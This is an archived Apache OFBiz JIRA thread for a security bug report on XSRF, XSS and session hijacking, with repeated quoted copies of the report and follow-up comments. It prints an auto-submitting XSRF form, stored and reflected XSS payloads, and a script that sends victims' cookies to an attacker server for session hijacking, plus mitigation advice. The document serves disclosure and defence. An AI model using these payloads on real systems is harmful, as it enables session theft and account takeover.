> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ]

euronymous edited comment on OFBIZ-1959 at 2/23/09 7:40 AM:
--------------------------------------------------------------

Hi David, Hi Jacques

Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :(

Anyway, here it is the "quite malicious" request:

GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1
Host: demo.hotwaxmedia.com
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin
Cache-Control: max-age=0




The code rendered in the response, if you need it to better understand the situation:


[...]

<!-- Begin Section Widget  -->
<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->
<form method="post"  action="/catalog/control/createProdCatalog"  id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">
<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">
  <tr>
   <td class="label">Catalog [ID]</td>
   <td><input type="text" name="prodCatalogId" value="DemoCatalog&quot;&gt;&lt;script&gt;alert&#40;6&#41;&lt;&#47;script&gt;" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>
</td>
  </tr>


[...]

Let me know

Michele Orrù

      was (Author: euronymous):
    Hi David, Hi Jacques

Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :(

Anyway, here it is the "quite malicious" request:

GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1

Host: demo.hotwaxmedia.com

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin

Cache-Control: max-age=0




The code rendered in the response, if you need it to better understand the situation:


[...]

<!-- Begin Section Widget  -->

<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->

<form method="post"  action="/catalog/control/createProdCatalog"  id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">

<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">

  <tr>

   <td class="label">Catalog [ID]</td>

   <td><input type="text" name="prodCatalogId" value="DemoCatalog&quot;&gt;&lt;script&gt;alert&#40;6&#41;&lt;&#47;script&gt;" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>

</td>

  </tr>


[...]

Let me know

Michele Orrù
 

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ]

euronymous edited comment on OFBIZ-1959 at 2/23/09 7:48 AM:
--------------------------------------------------------------

Hi David, Hi Jacques

Here I've found another bunch of unprotected resources vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Testing my (unsuccefull)  patches, I was thinking to try the attack vectors in a few places to hotwaxmedia ofbiz trunk server...

Anyway, here it is the "quite malicious" request:

GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1
Host: demo.hotwaxmedia.com
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin
Cache-Control: max-age=0




The code rendered in the response, if you need it to better understand the situation:


[...]

<!-- Begin Section Widget  -->
<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->
<form method="post"  action="/catalog/control/createProdCatalog"  id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">
<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">
  <tr>
   <td class="label">Catalog [ID]</td>
   <td><input type="text" name="prodCatalogId" value="DemoCatalog&quot;&gt;&lt;script&gt;alert&#40;6&#41;&lt;&#47;script&gt;" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>
</td>
  </tr>


[...]



Almost the same here:

GET /catalog/control/EditProductConfigItem?configItemId=PZ0000%22%3E%3Cscript%3Ealert(666)%3C/script%3E HTTP/1.1

Host: demo.hotwaxmedia.com

[...]



Let me know

Michele Orrù

      was (Author: euronymous):
    Hi David, Hi Jacques

Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :(

Anyway, here it is the "quite malicious" request:

GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1
Host: demo.hotwaxmedia.com
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin
Cache-Control: max-age=0




The code rendered in the response, if you need it to better understand the situation:


[...]

<!-- Begin Section Widget  -->
<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->
<form method="post"  action="/catalog/control/createProdCatalog"  id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">
<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">
  <tr>
   <td class="label">Catalog [ID]</td>
   <td><input type="text" name="prodCatalogId" value="DemoCatalog&quot;&gt;&lt;script&gt;alert&#40;6&#41;&lt;&#47;script&gt;" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>
</td>
  </tr>


[...]

Let me know

Michele Orrù
 

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675958#action_12675958 ]

Michele Orru commented on OFBIZ-1959:
-------------------------------------

Anyway...The hackaton idea is not bad!

I really would like to do something like "Trying to subvert ofbiz for fun and profit" (joke, just Aleph1 citation).

I think that what we are missing here, when trying to improve the security of Ofbiz, is the fragmented nature of some parts of the project.

Basically David didn't solve all the XSS issues only because there are too many control points in the application, so put a filter here and there, such as in Freemarker logic, Service Validation layer or XML Form widget layer is not so easy and error-free.

I also think that the best thing to do (at least from a security point of view) is to write a Wiki article about this, explaining well:
 - how David did the changes in the code (that's what I'm looking for, and they're are well coded),
 - how and when wrap a parameter in FreeMarker during development of custom FTLs,
 - how to configure services to override some parameter checking filtering HTML in a safe way,
and so on...

I will write this guide, cause I'm spending a lot of time with Ofbiz security (and That's really enjoyable...), and because I believe in the power of Ofbiz as ERP and ecommerce application (and because I don't want to put ModSecurity in front of each of our Ofbiz installations :) ).

Well...

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

     [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jacques Le Roux updated OFBIZ-1959:
-----------------------------------

    Affects Version/s: Release Branch 9.3
        Fix Version/s: Release Branch 9.3

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: Release Branch 9.3, SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: Release Branch 9.3, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
